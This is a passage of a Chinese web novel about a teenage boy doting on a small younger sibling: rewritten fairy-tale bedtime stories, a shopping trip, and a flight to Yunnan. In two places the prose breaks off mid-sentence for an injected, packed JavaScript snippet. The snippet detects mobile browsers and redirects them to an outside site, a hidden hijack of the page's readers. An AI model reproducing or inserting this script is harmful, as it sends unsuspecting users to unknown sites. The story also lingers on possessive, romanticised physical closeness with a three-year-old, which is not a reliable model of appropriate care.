大脑里美人鱼的故事情节无声上演,许砚修想到最后的结局,定了定神,他觉得自己错了。 许栀意期待的瞳孔里闪动着崇拜的光芒,许砚修认为,相信童话的人,也许给这个灰暗破败的世界留下最后一片净土。 他坐在床沿边,声色极具少年感,不紧不慢开始讲述这个故事,声调起伏给人带来真实感,很容易就听进去。 “在很久以前,有一只漂亮的人鱼,是这片海里年纪最小的公主,她非常向往人类社会的大陆生活……” 许栀意凑近许砚修的身边,不愿错过他讲述的任何一处细节。 “她遇到一位落难的王子,将王子救上岸后,回到海里,却怎么也无法忘记王子的模样,她觉得自己好像喜欢上了王子,于是她与女巫做了一场交易,用自己悦耳动听的嗓音换成人类的双腿,她要去寻找王子。” 许砚修稍顿一霎,许栀意疑惑的快眨几下眼,表示不解。 “找到王子后,王子一眼就认出她是那晚拯救自己的人鱼公主。” “尽管她不能说话,但是王子依然能将她一眼认出,其实他也早已爱上公主。” “最后,王子宣告天下,他要娶人鱼公主为妻,二人举行了盛大的婚礼,此后幸福美满生活在一起。” …… 许栀意强撑着精神听完整个故事,嘴角溢出餍足的笑容。 故事讲完,他也就满意栽进枕头里,还没来得及同许砚修说话,就睡倒在床上。 睡着后,他咂巴着嘴唇似乎在回想方才哥哥讲的美人鱼的故事,真是一场梦幻香甜的童话。 许砚修不忍心让许栀意听到故事的原始版本,这太残忍。 他编造了一个全新的故事,为此,他自己也愿意相信这个结局。 小美人鱼不用化作虚无的泡沫等待日升,许栀意也不用长大。 4. 小草 夜色渐深,房间窗帘掀起一隅,可以窥探到夜幕一角。 高悬天空的几枚星子点缀在空旷夜空中,与孤独的月亮作伴。 许栀意早早入睡,睡得很沉,许砚修却习惯独睡。 普通的一天里,身边出现特别的人,在不普通的夜晚,特别的人出现在他的房间里,他们一同睡觉,惊喜来得猝不及防。 今天之前,许砚修还是孤独伶仃孑然一人,但现在,他终于找到沙漠尽头的绿洲,那里有他的阿佛洛狄忒。 小尾巴对此一无所知,呼吸声浅浅淡淡,轻灵梦幻。 许砚修本以为自己会失眠,没想到随着那道呼吸声竟轻而易举地陷入深度睡眠。 直到翌日清晨,早睡的许栀意先醒来,他揉了揉睡意朦胧的双眼,发现昨晚大床上泾渭分明的界限不知何时被打破。 他和哥哥的被子卷在一起不分你我,两条被子像极了一条粗粗的大麻花。 自己也在无意识间从床的右边移到哥哥身畔,甚至他脑袋所倚靠的也并不是枕头,而是哥哥结实的臂弯。 许栀意大脑一片空白,如同短路般呆怔在原地,抬手揉眼的动作也僵持不下。 其实早在他睁眼的那一刻,许砚修就已苏醒,好整以暇垂下眼皮望他,也不出声。 “哥……”晨起时喉咙干涩,许栀意扯着嗓子喊了一声,嗓子一痛,有些慌乱地继续揉眼。 人在尴尬的时候总是会下意识找点事情做,三岁小孩无师自通搬出这套方法。 许栀意的胸腔开始弥散开一种名为愧疚的情绪,几乎就快要涌到嗓子眼,他不知道自己枕在许砚修的胳膊上睡了多久。 哥哥的胳膊会感觉到酸痛吗,他会讨厌自己吗?他不知道,可他天然对哥哥有一种亲近感,他害怕哥哥会讨厌自己。 小孩藏不住心事,就算不说,也能从高高撅起的唇、欲哭无泪的眸子中猜出一二。 许砚修微眯双眼,有些无奈,一幅哑然失笑的模样,伸出手制止住许栀意揉眼的动作:“揉太久泛红了会痛。” 许栀意愣愣感受许砚修掌心的温度,有点凉,他眨了眨眼,傻乎乎看向许砚修的胳膊答道:“对,对不,对不起。” 他的断字磕磕绊绊,简单的三个字在他的口腔内跳跃起伏,水灵光亮的绿色眸子看上去即将下一场小雨。 许砚修看着自己的手臂,心下了然,呼吸也沉了下来,“不用对不起,你没有错。” 他放下许栀意的小手,郑重开口:“我是哥哥,哥哥的双臂天生就该给妹妹靠。” 许栀意立马就收住情绪,整齐的上牙咬着下嘴唇,也不知道听进去没有,似懂非懂点点头。 天气预报预测失误,绿森林并没有下起小雨,反而晴空无云,艳阳高照。 哥哥比妹妹年长,骨骼发育也比妹妹强壮,妹妹的脑瓜像雷达探测器,会精准无误落在哥哥的肩膀上、臂弯里,那里是他们生来追寻的庇护所,也是哥哥为妹妹筑起的高墙。 这些都是理所应当的,更是作为哥哥的责任。 所以,不用为此感到焦虑,许栀意。 许砚修从容自若将手指落在许栀意的脸颊边,缓慢而又生疏轻轻刮拂几下。 这是他第一次安抚许栀意的情绪,生硬又别扭,也许下一次就会好很多。 霎时间,许栀意的脸肉接收到由许砚修触摸带来的冷感,下意识噙着微笑,毫不吝啬将自己的半边脸颊都堆在许砚修的手指上。 甚至抬起眼睫,眼眸弯弯对准许砚修笑。 这太犯规,许砚修按下沉着的呼吸,过了好久才放手。 “去洗漱吧,吃完早饭带你去超市买你的用品。”许砚修淡定下床,指尖仿若残余着许栀意的体温,眼底不自觉流露出好心情。 许栀意又点点头,手脚并用爬下床,小短腿在床边探了好久,刚睡醒的双脚打着飘,跟在许砚修身后摇摇晃晃。 洗手台比许栀意高出一个头还不止,许栀意仰望着居高的洗手台,又看了看自己的哥哥。 许砚修拆开一次性牙刷,挤好牙膏,一低头就看到许栀意无辜的狗狗眼。 他把牙刷递给许栀意,小尾巴连忙接过,可是拿到牙刷之后呢,许栀意费劲昂头,嗫嚅着唇刚想说什么。 下一秒,许砚修就弯下身抱起许栀意,小尾巴脑袋里的小船又云里雾里失去方向,脚底的失重感幽幽传来,他吓得惊呼一声。 许砚修左手拿牙刷,右手严实抱起许栀意,一套操作下来行云流水。 许栀意还处于迷瞪状态中,身后箍着他的许砚修已经开始刷牙,窸窣的声音让许栀意稍微清醒些,举起右手将牙刷送入口中。 “咕噜咕噜。” 二人动作一致身子向前倾,将水吐进池子里,显得颇有默契。 镜中的少年身型初露锋芒,轻松抱着白花花小孩,身高差带来的反差衬得许栀意更加娇小温婉。 许砚修幽暗的目光投向许栀意的镜中像,不由得眼尾上扬,随即低下头,拿起毛巾轻擦许栀意的嘴唇一圈。 是一圈牙膏沫,完整勾连在唇形外围,许砚修突然就想到圣诞老人,许栀意这算什么,圣诞小人吗。 许栀意听话阖眼,任由哥哥在自己脸上雕琢修饰,许砚修让他睁眼,他才老老实实撩起眼皮。 白净透亮的脸庞还挂着小水珠,皮肤上一个毛孔都没有,几绺白丝被水打湿,贴着脸部轮廓,衔着几分俏皮。 他已经敢主动朝许砚修摊开手掌,哥哥就会像收到指令般握住他的手,一大一小、一前一后下楼。 这是个再好不过的好兆头。 早早天还没亮,许家主厅就开始忙碌起来,许栀意和许砚修甫一抵达餐桌,管家和下人们就训练有素端着盘子,毕恭毕敬将菜品摆在长桌上。 餐桌由花梨红木制成,经过岁月的沉淀荡起阵阵清香,桌身雕刻精美古图,浩瀚山河尽显中式建筑的典雅雄伟。 在这面肃穆的木桌上,日日餐食也略显刻板,每天菜品无非是那几样,三荤三素,多是家常菜。 没有哪日能比及今日,十几样餐盘摆列精致,供许栀意挑选。 许栀意从没见过这么正式的早餐,涵盖中西风味菜肴,但他最念念不忘的还是奶黄小猪包。 从前住在小房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559838|171355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,保姆会买一包奶黄小猪包,每天蒸一个或者两个,一包的量够许栀意吃一个月。 而他面前正躺着一盘奶黄小猪包,圆头圆脑,黑溜溜的眼珠子静静注视前方。 许栀意不经意间撞上许砚修认真的目光,听他说,“不知道你喜欢什么,索性把范围扩大,你一样样试,喜欢什么告诉我。” 他又顿了顿,嗓音清润“但不要一次性吃太多,怕你肚子痛。” 许栀意听完,心脏猛地跳动起来,盖过周围的喧嚣,全世界只剩下自己的心跳声。 他抓起一只小猪包,像是想要掩盖什么,对许砚修莞尔一笑。 这是他吃过最好吃的小猪包,很甜很甜,但一点也不会觉得腻,甜到在心里泛起涟漪,咕嘟咕嘟冒泡。 到底还是小孩心性,忍不住吃撑,饭后,许砚修拉着许栀意上车出发超市。 刚坐上真皮座椅,许栀意突发不适,胃里翻江倒海,骤然抽痛。 他不敢同许砚修说,自觉理亏。哥哥先前已提醒,是他贪嘴,许栀意怕许砚修责怪自己。 但他不说,许砚修也能第一时间发现。 许砚修从余光中瞥见许栀意异样的神情,明明上车前还高高兴兴,现在却意兴阑珊,一只手还捂着肚子。 还有什么不明白的。 许砚修拉过痛苦的许栀意,将他放在自己的大腿上,环抱小婴儿的姿势托住他。 许砚修斟酌着开口:“许栀意,不舒服要说出来,我不会怪你,你还小。” “比起你有没有做错,我更在意你的身体。” 许栀意短暂性失语,心跳完全不听自己指挥。 距离不远不近,许栀意能听到哥哥沉稳的心跳,好像也乱了一拍。 比自己大很多的双手,一手抱着自己,一手贴心抚上自己的胃,不轻不重按压起来。 哥哥很厉害,许栀意抑制不住嘤咛几声,在哥哥颇有技巧的按摩下,自己的胃渐渐平息,疼痛感抽离。 许砚修侧偏过头,肩颈肌肉紧绷,小孩子的肚皮柔软得不可思议,他不敢太用力,好在控制力度得当,许栀意很舒服。 车窗摇下一条缝,清爽的凉风灌进后座,许栀意还贴在许砚修怀里,许砚修也并没有要脱手的意思。 许栀意独特专有的白发随风向飘动,发丝很软,调皮往许砚修脸上扑,挠得人心痒痒。 怀里的人回过头,倒退的窗景成为他的背景板。 这对绿宝石是无价珍宝,专注看人时含情似水,许栀意眯眼笑着,对哥哥说:“谢谢。” 谢谢你带我回家,谢谢你帮我擦身体,谢谢你给我的人鱼公主睡衣,谢谢,谢谢你抱我刷牙,谢谢你为我准备可口的早餐,谢谢你帮我揉肚子。 谢谢你,哥哥,总之,真的谢谢你。 让我有一个家,一个真正意义上的家。 这抹笑容里包含的千言万语,许栀意还无法开口一一表达,但许砚修与他心有灵犀,抿唇道:“不用谢。” 是我该谢谢你才对,谢谢你,我贫瘠生命里独有仅有的小草,坚韧可爱的小草,有朝一日会长成辽阔的草原。 5. 他的小玫瑰 黑色亮漆面卡宴驶入Y城寸土寸金的CBD,停在这一带规模最宏大的商超——翡悦汇。 翡悦汇离许宅不足一千米,开在城中最贵地段,会员制,低调得连招牌都不显眼。 据说会员名额寥寥可数,会员身份与地位更是极为罕见,个个都是人中龙凤,寻常人难以企及的高峰。 许多自媒体人对此津津乐道,看客也想一探究竟,但这么多年过去了,还没有普通人能够窥其全貌。 翡悦汇是许冠军送给许官山十八岁的生日礼物,原本用途是供许家人吃穿用度,但后来许官山在生意场上借此做了不少顺水人情。 再后来,檀山居的世家都拿到会员身份资格,翡悦汇也成了Y城公认的上流圈入场券。 金碧辉煌的设计和琳琅满目的商品映入眼帘,许栀意在心里竖起一道警戒线。 哥哥遇见所有事都云淡风轻,见惯了大场面,所以做什么事都游刃有余。 许栀意就像误入金丝窝的小麻雀,怯生生扯着哥哥的手指,亦步亦趋跟在身后。 对他而言,超市里的一切都很大,像一座巨人城,大到他走一会儿就累了。 许砚修勾了勾手指,感受到一阵很轻的阻力,他回过头,许栀意可怜巴巴地站着不动。 两只纤细的脚踝不安适地活动几下,许栀意扬起头颅露出整张脸时,那双沁水到眸子显得无所适从。 因为是俯视的角度,许砚修看得更加清晰。 “哥哥,抱。”许栀意咬咬牙,慢吞吞抽出被握住的手,双手打开呈邀抱的姿势。 语调有些拖长,半是试探半是退缩,他有在一点点放开,不再那么拘谨,他也想试着完全依赖哥哥。 直到许砚修一言不发将他拉进怀里,许栀意双脚离开地面,鼻端呼吸到高层的空气,才肯确信,原来哥哥真的会接住自己。 他松了口气,两只小手环住许砚修的脖颈,将侧脸搁在他的颈窝,静静观看哥哥手里拿起的商品。 许砚修第一次购买家居用品,难免不解其中门道。 怀里的小孩轻盈如云,眼神好奇望向四周,但身子却一动不动,也不主动索要些什么。 一次性牙刷肯定是不能用了,刷毛太硬,而且太大了。 许砚修从货架上挑挑拣拣,选了一个有名的儿童牙刷品牌,低声询问许栀意的意见:“这上面有你喜欢的款式吗?” 许栀意指着其中一只印有白雪公主图案的牙刷,轻声如江南烟雨:“要,这个。” 许砚修干脆利落把许栀意选的那只丢进身后管家推的购物车里,怀里的小家伙心情不错,纤瘦的手指在他的后颈无规律点来点去,像敲击琴键般轻快活泼。 许砚修抱着许栀意,首次学习如何为小孩子挑选生活用品:毛巾要选最舒适的质地,沐浴露洗发水这些也不能和他一起用,需要成分温和的儿童专用款…… 他尊重许栀意的选择与审美,不干涉他的抉择,空大的购物车在眨眼间变得满盈,多是色彩夺目的样式。 他们已经买足了生活必需品,可是经过沐浴露试香区时萦绕在鼻尖的香气依旧久久不能散去。 许栀意还是更喜欢用肥皂,在一众大牌洗护品牌中,他拍拍许砚修的肩,示意哥哥蹲下身。 他在货架最底端选中一块不起眼的肥皂,青苹果味,包装袋上画着青苹果形象的简笔画,香味清新自然,像夏日里解暑的冰镇果味饮品。 许砚修索性多丢了一些,许栀意看起来很喜欢,双手捧着肥皂闻了好久。 留香时间较为持久,就那么一会儿功夫,许栀意整个人就宛如泡进青苹果水里,连头发丝都漫着甜香。 他们逛到玩具区,仿佛走进孩子们心目中的城堡仙境,各式各样的玩偶、模型展在透明的置物架上。 许栀意也难逃玩具区的诱惑与魔力,目光在此地生根,就好比小老鼠掉进粮仓里。 许砚修注意到他眼神停留的地方,是一排芭比娃娃,有不一样的人物、不一样风格的服装设计,应该没有哪个小女孩能够抵抗可以换装的芭比娃娃的魅力。 “想要吗?”许砚修明知故问,他看穿许栀意摆在面上的心理活动。 许栀意分明就很想要,一开始确是点头了。 但又很快摇头,迟疑的瞬间太短,短到会让人生出错觉。 许砚修却能够精准捕捉到那一秒迟疑。 许栀意确实很想要,但他也不是非要玩具不可,哥哥带自己来买生活用品,那些是必需品,但玩具不是。 这些娃娃做工精细,许栀意没见过这样漂亮的娃娃,一定很贵吧。 所以他坚定摇摇头,唇角舒展开正午阳光般明媚的笑容,轻声说,“不想。” “为什么?”许砚修又再明知故问,幽暗的目光想从许栀意口中得到回答。 许栀意低下头,用自己的发顶遮挡住许砚修的视线,双手不自在地绕着衣服下摆,轻吐出两个字:“好贵。” 他尚不认字,但那一串长长的数字仿佛刻在心尖,硌得心房发烫。 许砚修瞥不见小尾巴的表情,紧皱的眉头迟迟未平。 他只好托起小尾巴的下巴,同他说,“哥哥有很多钱,你想要什么都可以。” 只要你要,只要我有,我没有也可以,想要什么都可以。 哥哥是你的,哥哥的钱也是你的。 “那边的都要了。”许砚修慢条斯理对身后的管家吩咐道,随意指向芭比娃娃的置物架。 不不不,太多了。 许栀意紧张摆摆手,大脑嗡一声,从耳根开始,红晕爬满满脸。 “太……太多。”他知道家里很有钱,哥哥很有钱,但是这么多他玩不过来的,太浪费了。 “不多。”许砚修声音乍起,快速接上许栀意的话尾。 许栀意又变得结结巴巴,双手不知道在比划什么,最后紧紧攥着许砚修的衣领,脸颊发烫:“谢谢…哥哥。” 言语羞涩自他口中泻出,咬字清晰,将哥哥二字念成吴侬软语的语调,似扬州三月天里如烟飘摇的柳絮。 他很开心,收到哥哥送给自己的芭比娃娃,那么漂亮的娃娃,他有好多好多个。 许栀意想起小房子里自己的第一个玩具,是一只垂耳兔玩偶,也是自己的第一个朋友。 它很普通,更算不上漂亮,经过岁月的洗礼,布料被洗得泛白。 从他记事起,那只兔子就夜夜陪伴在他枕边。 人声鼎沸时,他突然很想那只兔子玩偶,自己的小床无人光顾,小兔子会孤单吗? 现在他有很多个漂亮绝伦的芭比娃娃,可他却开始怀念起那只老旧过时的兔子。 采购结束,许栀意和许砚修乘车回到家里,购买的商品也跟着一齐到家。 许栀意也拥有了属于自己的房间,房间在许砚修房间旁边,仅隔了几步路的距离。 不知道许砚修从什么时候开始布置的,房间里的家具尤其眼熟,许栀意定睛一看,这不就是刚刚在超市里自己多看了几眼的公主床吗? 还有粉色的小沙发,坐垫上摆着一个草莓大抱枕,蓬松柔软。 房间地板被颜色鲜艳的地毯铺满,欧式衣柜充满法式宫廷浪漫与奢华的气息,就连窗帘也是许栀意中意的梅粉色。 他已经震惊到说不出话来,步履缓慢,径自推开房间里卫生间的门,洗手台设计成台阶结构,针对许栀意的身高量身定做。 洗手台大理石板上罗列着方才挑选的生活用品,牙刷上的白雪公主永远笑吟吟对着眼前人。 许栀意回过头,许砚修倚在窗户边,身姿挺拔,看起来不冷不淡的,但许栀意注意到他始终未曾偏移的眼神。 他小跑着奔向哥哥,心中的感激已经无以复加,比起身体间相互碰撞的拥抱,一个毛茸茸的东西先碰到他的胸口。 许栀意下意识低头瞥了一眼,略微凝神,不可置信地提起小兔子娃娃。 是他的好朋友,是他的小兔子,它也回家了。 是哥哥,是哥哥将它带回家的。 许栀意将玩偶抱满,与身体严丝合缝贴在一块,熟悉的香皂味吸入鼻间,自此,他对过去再无牵挂。 许砚修总能将每件事做到极致完美,让人挑不出一点差错。 许栀意不说他也能提前料到,并将一切安排妥当,又在许栀意踟躇胆怯时给予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559839|171355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他勇气。 “哥哥。”数不清这是第几次叫他,这两个字时常挂在自己嘴边,顺口无比。 许砚修眼也不抬,等待他的下文。 许栀意一手提兔子,一手手心朝下,向下挥挥,许砚修就顺着他的手势弓下身子,与许栀意平视。 还是略高许栀意一些,不过许栀意也不在意,自顾自踮起脚尖,在许砚修高挺的鼻梁上印下一个吻。 许栀意下意识闭眼,全身都在用力,可亲亲却轻轻的。 像一根羽毛掉落到鼻梁处,又在转瞬间被风吹走,留下的温度包裹着他的馨香。 许砚修全程睁着眼,许栀意的小动作都被他尽数收入眼底,就连眼皮颤抖的次数,他都看得清清楚楚。 许栀意放下脚跟,慢慢睁眼,虚焦的视线逐渐明晰,许砚修还维系着俯身的动作,眉眼深邃。 他向前一步,用自己的额头贴向许栀意的额头,鼻尖相抵,他们的呼吸交绕在一起。 许栀意屏息敛声不敢有半点动作,闪得飞快的双眸欲游走,头顶就被许砚修的一只手笼住,他不得不与许砚修深不见底的瞳孔对视。 哥哥要做什么,还是要说些什么吗?许栀意很好奇。 出乎他的意料,许砚修什么也没有做,仅仅只揉了揉他蓬高的发旋,挺直脊背后问他中午要吃什么。 谁也不知道他心里在想什么。 许砚修动作僵硬的那几秒,他想起《小王子》里的一句话: 也许世界上也有五千朵和你一模一样的花,但只有你是我独一无二的玫瑰。 许栀意掰着手指碎碎念,一会说吃牛排,一会又说想吃大虾。 许砚修凉薄的唇也忍不住勾起一丝波澜,他点头答应他,什么都答应。 他的世界里没有五千朵和他一模一样的花,他一贯是自己独一无二的玫瑰。 他是自己的小玫瑰、小草、小尾巴,他想与他一起,一起生活,一起吃饭,看他睡觉的睡颜也是一种幸福,他想与他永远在一起。 “哥哥,走。” 看来他的小玫瑰已经迫不及待想要吃午饭了,许砚修熟稔拉起许栀意的软若无骨的手,一大一小的背影渐渐走远。 黑夜侵袭大地时,灯光四起,他们又手拉手回到房间里。 许栀意照例一个人去洗澡,洗完澡湿淋淋出来,许砚修认真仔细替他擦拭身上残留的水珠,替他吹干头发。 今日份童话是关于卖火柴的小女孩的故事。 许栀意抱着心爱的兔子玩偶,蜷缩在被窝里,素着一张脸,眼皮不停往下坠。 许砚修擅自将结局改为:卖火柴的小女孩实现了所有的愿望,火柴的愿望令她度过漫长难捱的冬季,然后,春天来了……” 许栀意的眼皮彻底合上,呼吸均匀安睡过去,手指还紧紧抓着怀里的小兔子不肯放手。 许砚修有些狼狈地蹑手蹑脚退出小玫瑰的房间,回到自己的床上,他开始尝试入眠。 却不自主开始想念起昨夜温香软玉在怀的触感,像一团软糯的糯米糍,好闻的气味如同天然睡眠香薰。 他翻了个身,与此同时,房门的把手开始旋转。 “吱呀”一声,房门打开。 许栀意穿着粉色拖鞋,梦游般漂移走来,昏暗月光下,绿眸像一对青提玛瑙,微微眯起眼,扯着兔子耳朵。 哥哥走后,一向好眠的许栀意遽然转醒。 他很怕黑,他不愿一个人睡。 即使非常惧怕黑夜,许栀意还是鼓起勇气拖着兔子玩偶,走出房门,走进哥哥的房间,摸索着来到床边。 许砚修抱起许栀意,将他搂在怀里。 他没有问许栀意为什么要来这里,因为他知道,是他舍不得许栀意,是他需要许栀意。 “哥哥,我想和你睡。”许栀意困得不行,还记得小声嘟囔,在哥哥宽阔的怀抱里找一个舒服的姿势睡去。 “好。”许砚修听着小孩平稳的心跳声,嗅到他身上的青苹果味。 他深吸一口气,空气中隐约传来春雨的香气,雨后成熟的青苹果像一轮绿色的月亮。 许栀意是他的,是他天然的安眠药。 6. 坏狗 夏日迎来炎炎高温,为期两个月的暑假也如约而至,许冠军忙着飞往全球各地拓展海外市场。 许宅离了他也一样,一如既往的寂静、古板,但后花园里偶尔传来的几声欢声笑语,为这片死气沉沉的土地带来一丝生机。 午睡过后,许栀意温吞起身,睁开眼第一件事就是寻找哥哥的踪迹。 “哥哥。”许栀意大脑晕乎乎的,步子虚浮走向书桌的方向,停在许砚修腿边,两只手扒在许砚修的裤腿上,将正脸埋进去亲呢问,“你在,做什么呢?” “写作业。”许砚修停下笔,一根手指轻推许栀意的额头,光滑细腻的额头与裤腿分开,许栀意睡眼微茫,自觉将下巴放进许砚修掌心。 下巴的重量被许砚修的指骨托住,大拇指带着丝丝凉意划过许栀意的唇畔,令他清醒不少。 许栀意闭着眼,眉眼弯弯,身子前倾,挺起胸脯贴着许砚修的小腿,像一只乖巧任摸的小猫。 许砚修仿佛能透过身躯看到许栀意背后的小尾巴,正高高翘起表达愉悦的心情。 许栀意全身心放松的同时,鼻翼微动,感受到哥哥身上那股铁腥味已经微不可察,前几日强烈的刺鼻味就像他的一场癔梦,消失的无影无踪。 “栀栀想不想去旅游?”许砚修站起身,与此同时长臂揽过,一阵冷风过,许栀意被牢牢抱起。 管家和新来的王姨最先叫许栀意“栀栀”,许砚修知晓后也唤他栀栀,小名从他口中念出,显得亲密无间。 “旅,游?”许栀意靠在许砚修的肩上,他们挨得很近,小火炉碰上大冰窖,许栀意舒服得小腿晃悠起来,“去哪?” 许砚修目不转睛看着许栀意的脸庞,语气舒缓:“云南。” 许栀意用力点点头,双眼蓦地亮起来,就像几天前在电视上看到云南宣传片一样,目如悬珠。 许砚修是靠谱的行动派,当他提出建议时,往往意味着准备就绪整装待发。 许栀意还处在半迷糊半清醒状态间,听到要去云南很开心,只是没想到会那么快,下一秒,许砚修就径直抱着他走出房间。 管家和下人们早已打包好行李,整齐有序跟在二人身后,许栀意搂着哥哥的脖子向后望去,一群人浩浩荡荡出发,看起来正经严肃。 怀里的小火炉汗涔涔的,穿一件棉麻质地小裙子,两个辫子歪歪扭扭,许砚修看着大小不一的辫子有些沉默。 纵使是解遍全国奥数题应付自如的双手,在面对妹妹柔软的头发时还是会束手无策,因为珍视,所以稍微用力都要计算再三。 小尾巴是哥哥的最佳捧场王,对着镜子里丑丑的辫子还能说出,“哥哥好厉害。”这样的话。 许砚修思忖着,是时候系统学习如何给小孩子扎辫子了,作为许栀意唯一的哥哥,他将妹妹视作至高无上的课题。 完成这项课题需要付出一生的心血,他是第一次做哥哥,许砚修自认不凡,决定的事注定要不择手段拼尽全力。 做哥哥,他也要做最好的哥哥,许栀意会是整座Y城最受宠最璀璨的明珠,他保证。 在车上,许栀意一开始还非常兴奋,没一会就犯困打了个盹儿,贴在许砚修身上,怀里还夹着那只兔子玩偶。 等下了车,滚滚热浪袭来,闷热的夏季使得人们懒倦疲乏,每个人都散漫行走在机场中。 鹤立鸡群的少年单手拥着一个小女孩,二人五官优越又极其相似,不禁让人感叹,这对高颜值兄妹关系真好。 不少人掏出手机拍照,遇见美好的风景,大多数人的想法都是保存这个瞬间。 机场的喧嚣令许栀意产生应激反应,他死死攥住许砚修的衣领,大眼睛惊恐地扫视着周围匆匆而过的人群,零星闪过的闪光灯更令他坐立难安。 广播里的登记通知声、行李箱轮子与地面的摩擦声、陌生人高谈阔论的交谈声……这些声音混杂在一块,对他敏感的听觉来说简直是灾难。 许砚修捂住许栀意颤抖的耳廓,一旁的安保团队心领意会走向偷拍者面前,要求删掉照片。 “没事的,栀栀,看着我。”许砚修快步来到vip通道,一只手抚上许栀意的脊背,手掌上下抚摸着凸出的脊骨,轻声安抚。 许栀意渐渐安静下来,用兔子玩偶遮住自己的大半张脸,只露出一对绿色的眼睛。 “好点了吗?”许砚修的侧脸看不出任何情绪。 许栀意缓缓移开兔子玩偶,脑袋向后仰,眨了几下眼,“嗯嗯。” “哥哥。”许栀意探头,嗓音犹豫不定,“我,太胆小……” “对……”那句对不起刚开头就被许砚修扼制在喉咙里。 “栀栀的心情最重要。”他没有对许栀意说不用抱歉,而是认真告诉他,什么事情都比不上他的开心重要。 许栀意动作微顿,辫子松散垂下,长发垂下几缕,眸子明晃晃的,他没有回答,又重新将脸颊肉贴在许砚修的肩膀上。 半边脸颊肉被压扁,他的笑容漾出羞涩的弧度,鼻音哼出一个音节“嗯。” 走出机场通道,许栀意第一次见飞机,伸长脖子眺望远处停着的飞机,满眼惊喜。 毒辣的阳光照在机身,反射出晃眼的光泽,纯白机翼像一对大翅膀,随时准备翩翩欲飞。 登机后,坐在头等舱的座椅上,许栀意贴在窗边,鼻子压在玻璃窗上,鼻尖耸动,新奇望向窗外。 当飞机开始滑行,他慌乱抓住许砚修的手:“哥哥,地,在动!” 许砚修回握住这只小手,“栀栀闭眼,再睁眼的时候就不怕了。”倾身覆耳几句话就让许栀意转瞬间平静下来。 他听话闭上眼,在听到哥哥的指示后,紧皱的眼皮悠然眯开来。 飞机平稳飞行,窗外一碧如洗,大片大片云朵像新鲜出炉的棉花糖。 “哇……”许栀意看着窗外的风景,全然忘记害怕,满心沉浸在浩瀚多云的天空世界里。 他清瘦的后背贴在哥哥身前,耳垂边似有潮风吹拂,是许砚修的呼吸。 许栀意被许砚修的身子罩住,他木然回过头,撞上哥哥的下颔骨,撞得他心口一跳。 墨绿色的瞳孔铺上一层暖意,许砚修搂他入怀,动作熟练小心,拆散开那对辫子,发丝穿插在他手间,像天上缀着碎星的银色缎带。 熟能生巧,第二次给许栀意扎头发较比第一次好太多,虽然也余有碎发,但整体中规中矩还算过关。 “哥哥,喜欢。”许栀意一等许砚修扎完,就迫不及待用两手摸摸辫子,他仔细摸摸,发丝微凉,是哥哥的温度。 小姑娘倒在哥哥腿上,双眸澄澈透亮,竖起一根大拇指,在许砚修眼边摇了摇。 许砚修一把抓住许栀意摇晃的手指,微微颔首,放在唇边轻吻一下。 很奇怪,哥哥的唇冷如初雪,可落在自己的手指上,仿佛有千斤热流窜进血管,流向跳动的心脏。 他收回自己的手指,侧过脸颊,手指鬼使神差落在唇珠中间,面中的红霞蔓延开,延续到耳朵。 四小时的飞行时间弹指而过,许栀意乘坐飞机初体验圆满结束。 一日长一丈,云南在天上。 这句话的确不假,只有来过云南,才算真正悟透彩云之南的含义,云南,生长在陆地的蓬莱仙境。 抵达云南时临近黄昏时刻,他们乘商务车赶往丽江古镇,世界的光线暗下来,碧蓝的天空经过自然微醺,调成高饱和度的橘黄色调。 民宿定在古镇内,一整栋木楼清空包场,古城瓦砖斑驳,岁月的痕迹将整座小城托举到不可估量的文化高度。 许栀意踩着古砖地,行李被随从罗列齐整安放在房间内,小楼古香古色,还带有一个大院子。 院子里铺满鹅卵石,走上去脚底一阵酥麻,地面摆着几张木桌椅,空气里弥漫着质朴的清香。 “喜欢吗?”许砚修拉着许栀意的手,慢慢悠悠走出小楼,已是晚饭时间,他们要到古镇去寻吃食。 “喜欢。”许栀意拔高音量,没骨头似的倚着许砚修走,许砚修也依他,牵他的手更用力些。 停在一家不起眼的小店前,招牌布满油渍充满烟火气息,店里人满为患,在外排队等候的游人大排长龙。 许砚修拉着许栀意进门,忙碌的老板用毛巾擦拭额角的汗,笑呵呵招呼二人进里屋,专门为他们留了一间包厢。 许栀意坐在木椅上,胸前围着一块餐巾,老式空调制冷效果差强人意,要想彻底凉下来,还必须搭配一面风扇。 风扇吹起冷空气,吹动许栀意的碎发,也驱散身上疲惫的汗水。 大概半小时,老板端着一锅野生菌火锅进来,火锅冒着热气,老板走到门口他们就闻到鲜香的气味。 云南的菌菇品类繁多,毒性也强,与之相对的,滋味鲜美可口,令无数人心驰神往。 许栀意的肚子在一下车就咕噜咕噜作响,许砚修先替他洗好餐具,挖几勺爽口鲜嫩的蘑菇。 在许栀意期待的目光中用勺子舀了舀,对着风扇的方向吹到不烫手的程度。 再递给许栀意,小尾巴的双眸黯淡不少,抿着小嘴,嘴唇微动,有些委屈的扇动羽睫。 许砚修不自觉发笑,他的栀栀比刚来那阵子鲜活许多。 许栀意扶着碗,大口大口送入嘴中,瞳仁轻颤,汤水挂在唇边,他扭过头对许砚修感慨:“好好吃哦。” 后面陆续上了几道云南特色菜,薄荷排骨、汽锅鸡、鸡豆凉粉,每一道菜都在味蕾留下不可磨灭的记忆。 